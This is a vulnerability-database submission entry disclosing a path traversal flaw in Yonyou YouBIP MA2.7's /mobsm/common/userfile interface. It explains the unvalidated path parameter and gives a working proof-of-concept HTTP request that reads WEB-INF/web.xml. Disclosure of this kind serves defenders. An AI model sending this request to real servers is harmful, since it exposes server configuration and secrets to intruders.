| शीर्षक | Yonyou YouBIP MA2.7 Path Traversal |
|---|
| विवरण | Vulnerability Description
An arbitrary file read vulnerability exists in YouBIP MA2.7, where an attacker can read any file on the server by constructing a specific HTTP request. This vulnerability is present in the /mobsm/common/userfile interface, where the attacker can specify the file path via the path parameter, thereby accessing sensitive files on the server.
Vulnerability Location
The root cause of this vulnerability lies in the /mobsm/common/userfile interface, which does not perform strict path validation on the path parameter. This allows attackers to exploit Path Traversal techniques to read arbitrary files on the server. Specifically, the code directly retrieves the path parameter using getParameter and passes it to the FileInputStream function, enabling arbitrary file reading.
POC
GET /mobsm/common/userfile?path=\..\webapps\nc_web\WEB-INF\web.xml HTTP/1.1
Host: target-ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36 Edg/x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=3DCA49B0A93D7D062595597622208A28.server; JSESSIONID=1DC98D3FA1B1A5F6E7E2BB3377661713.server
Connection: close |
|---|
| स्रोत | ⚠️ https://wiki.shikangsi.com/post/share/7329f367-dd6e-48fb-b585-e10fbfc63bb2 |
|---|
| उपयोगकर्ता | XingYue_Mstir (UID 72225) |
|---|
| सबमिशन | 02/04/2025 12:00 PM (1 वर्ष पहले) |
|---|
| संयम | 14/04/2025 12:42 AM (12 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 304603 [Yonyou YonBIP MA2.7 /mobsm/common/userfile FileInputStream path निर्देशिका ट्रैवर्सल] |
|---|
| अंक | 20 |
|---|